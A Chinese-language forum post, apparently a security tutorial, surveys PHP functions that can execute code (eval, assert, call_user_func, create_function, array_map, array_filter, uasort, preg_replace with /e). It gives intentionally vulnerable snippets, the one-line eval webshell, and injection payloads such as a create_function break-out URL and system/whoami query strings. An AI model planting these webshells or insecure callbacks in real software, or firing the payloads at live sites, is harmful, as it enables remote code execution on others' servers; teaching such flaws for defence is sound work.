-
-
[原创]php代码执行函数
-
发表于: 2025-6-6 10:03 489
-
有时候相要用一些命令,但是网上的资料良莠不齐,于是花了几天时间慢慢整理了一份php代码执行函数
中间添加了一些例子,可以更方便的理解这个函数在不安全的开发中所导致的问题
eval()
eval函数将字符串当初php代码执行,比如说
常见的就是一句话木马:<?php @eval($_POST[1]);?>
<?php $str = 'This is a $test'; $test = '骗你的'; echo $str; eval("\$str = \'$str\';"); echo $str; ?>
<?php $str = 'This is a $test'; $test = '骗你的'; echo $str; eval('\$str = \"$str\";'); echo $str; ?>
会输出骗你的
双引号:双引号中的变量会被解析为它们的值
单引号:单引号中的变量不会被解析,而是直接作为普通字符串输出
@的作用: 这是为了屏蔽报错信息
assert()
一般来说,assert用于调试,比如说检查条件是否为真
assert(1==1);//正常执行 assert(1==2);//触发警告
在php 5-7版本中,这个函数可以被使用,7.2版本后不可
assert可被执行函数。相当于内置eval
例如
<?php $user_input = $_GET['code']; assert($user_input); ?>
call_user_func()
1.恶意代码执行
<?php // 假设用户输入可以控制 $func 和 $arg $func = $_GET['func']; $arg = $_GET['arg']; call_user_func($func, $arg); ?>
例如:
292K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3N6h3I4F1i4K6u0W2M7r3S2H3i4K6y4r3k6Y4g2F1j5#2)9K6c8s2y4&6M7%4c8W2L8g2)9J5y4X3q4E0M7q4)9K6b7X3q4J5k6#2)9K6c8r3I4K6
执行system("ls")
2.调用内部类:要以数组的形式
<?php class a { function b($c) { echo $c; } } call_user_func(array("a", "b"),"111"); //显示 111 ?>
create_function()
php8.0之前,5.2-8.0
这里是一个代码注入的案例
<?php error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function)); ?>
payload:http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*
'"]);}phpinfo();/*
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
' return 1 * ' . $sorter . '($a["' . '"]);}phpinfo();/* . '"], $b["' . $sort_by . '"]);'; 也就是说 ' return 1 * ' . $sorter . '($a["' . '"]);}phpinfo();
也就是说,无论后面有什么,都被注释掉了,只进行了匿名函数的创建和phpinfo
array_map()
为数组的每个元素应用回调函数,可以调用自定义函数或自带函数
array_map(callable $callback, array $array1, array ...$arrays): array
返回数组,是为array1每个元素应用callback函数之后的数组。callback函数形参的数量和传给array_map()数组数量,两者必须一样
// API 参数传入 ?func=system&args[]=ls $func = $_GET['func']; // 用户传入的函数名 $args = $_GET['args']; // 用户传入的数组参数 $result = array_map($func, $args);
?func=system&args[]=whoami
array_map(system, [whoami]);
<?php highlight_file(__FILE__); $callback = $_GET['action']; // 用户控制 $data = array($_GET['payload']); $result = array_map($callback, $data); ?> function evil($input) { eval($input); // RCE 入口 }
如果代码2中include 了代码1,那么可以利用同名函数,传入action = evil&payload=system('whoami');
call_user_func_array()
用于调用回调函数,并且允许你以数组形式传递参数
mixed call_user_func_array ( callable $callback , array $param_arr )
<?php header('Content-Type: application/json'); $func = isset($_REQUEST['func']) ? $_REQUEST['func'] : ''; // 判断是否传入了函数名 if (empty($func)) { echo json_encode(array('error' => '函数名不能为空')); exit; } // 处理参数:支持数组或 JSON 字符串 if (isset($_REQUEST['params'])) { if (is_array($_REQUEST['params'])) { $params = $_REQUEST['params']; } else { $params = json_decode($_REQUEST['params'], true); } } else { $params = array(); } if (!is_array($params)) { echo json_encode(array('error' => '参数格式错误,应为数组')); exit; } // 安全调用函数 try { $result = call_user_func_array($func, $params); echo json_encode(array('result' => $result)); } catch (Exception $e) { echo json_encode(array('error' => $e->getMessage())); }
array_filter()
第二个参数是回调函数,可以是函数名字符串,也可以是匿名函数。
array_filter(array $array, ?callable $callback = null): array
越权漏洞:
<?php highlight_file(__FILE__); header('Content-Type: text/html; charset=utf-8'); // 假设这是用户从请求传来的权限列表,可能是低权限用户 $user_permissions = isset($_POST['permissions']) ? $_POST['permissions'] : array(); // 错误用法:默认 array_filter 过滤假值 $filtered_permissions = array_filter($user_permissions); // 业务权限判定逻辑,判断是否有 admin 权限访问后台管理 function has_admin_access($permissions) { // 这里本意是 admin 权限用户才能访问 // 但误用 array_filter 导致权限丢失,判定逻辑被绕过 return in_array('admin', $permissions); } // 伪代码,允许访问的条件还包括低权限 '0' 可以访问某些普通页面 if (has_admin_access($filtered_permissions)) { echo "访问后台管理页面"; } else if (in_array('0', $filtered_permissions)) { echo "访问普通用户页面"; } else { echo "无权限访问"; } ?>
正常来说,权限为0应该是返回无权限,入下图
可是在再次传入一个值为admin时却能返回后台,这是因为什么?
array_filter
会把 '0'
和 0
视为假值过滤掉,导致过滤后权限数组缺失这些权限
注入漏洞
当传入的参数可控时就会造成RCE
<?php highlight_file(__FILE__); array_filter(array($_REQUEST['arg1']),$_REQUEST['arg2']); ?>
这会将 $_REQUEST['arg1']
放进数组,然后对数组调用 $_REQUEST['arg2']
作为回调函数。
arg1 = phpinfo()
,实际传入的是字符串 "phpinfo()"
,放入数组后成为 ["phpinfo()"]
arg2 = assert
调用后
array_filter(["phpinfo()"], "assert");
也就是说,执行了 phpinfo()
函数;
phpinfo()
是一个函数调用的字符串,不是函数名,不能直接作为回调函数执行 , 如果你传入其它回调函数名,比如 "phpinfo"
,array_filter
会调用 phpinfo("phpinfo()")
,这会报错,因为 phpinfo()
不接受参数; 只有 assert
作为回调,才会把字符串 "phpinfo()"
当作 PHP 代码执行,所以能执行你想要的函数。
uasort()
PHP 中用于根据用户自定义的比较函数对数组进行排序的函数 ,如果 允许用户通过外部输入指定回调函数,可能会导致 任意函数调用 或 代码执行风险
若 PHP <=5.6 且 assert 没有被禁用,会执行字符串参数,造成 RCE
漏洞示例:
<?php // 不安全的实现 - 允许用户控制排序函数 function insecureSortProducts(array &$products, string $userProvidedCallback) { // 危险!直接使用用户提供的字符串作为函数名 uasort($products, $userProvidedCallback); } // 攻击者可以这样利用: $products = [ 'p1' => ['name' => 'Product A', 'price' => 100], 'p2' => ['name' => 'Product B', 'price' => 200] ]; // 攻击者注入恶意函数 insecureSortProducts($products, eval($_GET[1])); // 如果后续有调用,可能执行系统命令 // 例如在某些框架中,排序后可能会自动输出内容
usort() 使用用户自定义的比较函数对数组进行排序。
uasort() 使用用户自定义的比较函数对数组按键值进行排序。
uksort() 函数使用用户自定义的比较函数按照键名对数组排序,并保持索引关系
preg_replace()
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
执行一个正则表达式的搜索和替换
利用这个函数的特点,存在/e修饰符,而这个/e是允许代码执行的(replacement)
只要有参数可控,就有漏洞,因为本质上来说,是相当于执行了eval
<?php $user_input = $_GET['input']; $pattern = '/.*/';//匹配任意字符 $replacement = function ($matches) { return strtoupper($matches[0]); // 示例:将匹配内容转为大写 }; $result = preg_replace_callback($pattern, $replacement, $user_input); ?>
<?php $user_input = $_GET['input']; $pattern = '/.*/e';//匹配任意字符 $replacement = function ($matches) { return strtoupper($matches[0]); // 示例:将匹配内容转为大写 }; $result = preg_replace($pattern, $replacement, $user_input); ?>
第一个是一个安全的写法,那我如果改成下面的写法,它会不会执行呢?
答案是不会,因为preg_replace本质上是字符串替换,它希望$replacement传入的是一个字符串而不是一个 函数 ,所以这段代码会报错
那么什么情况下,这个preg_replace具有漏洞呢?
<?php $user_input = $_GET['input']; $pattern = '/.*/e'; $replacement = 'system("$0")'; $result = preg_replace($pattern, $replacement, $user_input); ?>
用户可以控制输入什么$user_input = $_GET['input'];
/.+/e 正则匹配输入的所有字符
$0
代表 整个匹配的字符串
$1
, $2
等代表第1、第2个捕获分组的内容
preg_replace('/.+/e', '匹配第一个', 'whoami');
再次进行修改一下,把这个值改为可传参数
$replacement = 'eval($_GET["x"])';
答案是肯定的
那如果这里不是命令执行函数呢?
这里举个例子
<?php $user_input = $_GET['input']; $pattern = '/.*/e'; $replacement = '$0'; $result = preg_replace($pattern, $replacement, $user_input); echo $result; ?>
<?php $user_input = $_GET['input']; $pattern = '/.*/e'; $replacement = '"Hello".$0'; $result = preg_replace($pattern, $replacement, $user_input); ?>
如果这是在一个注册页面后存在的话,比如说驴子注册后,下一个页面就显示hello 帅气的驴子,可是万万没想到,灰客看见这个代码欣喜若狂,直接来一个
?input=phpinfo(),直接成功,灰客说,让我看看是什么权限
preg_replace('/.*/e', '"Hello".$0', $user_input);
执行了eval('"Hello".phpinfo()');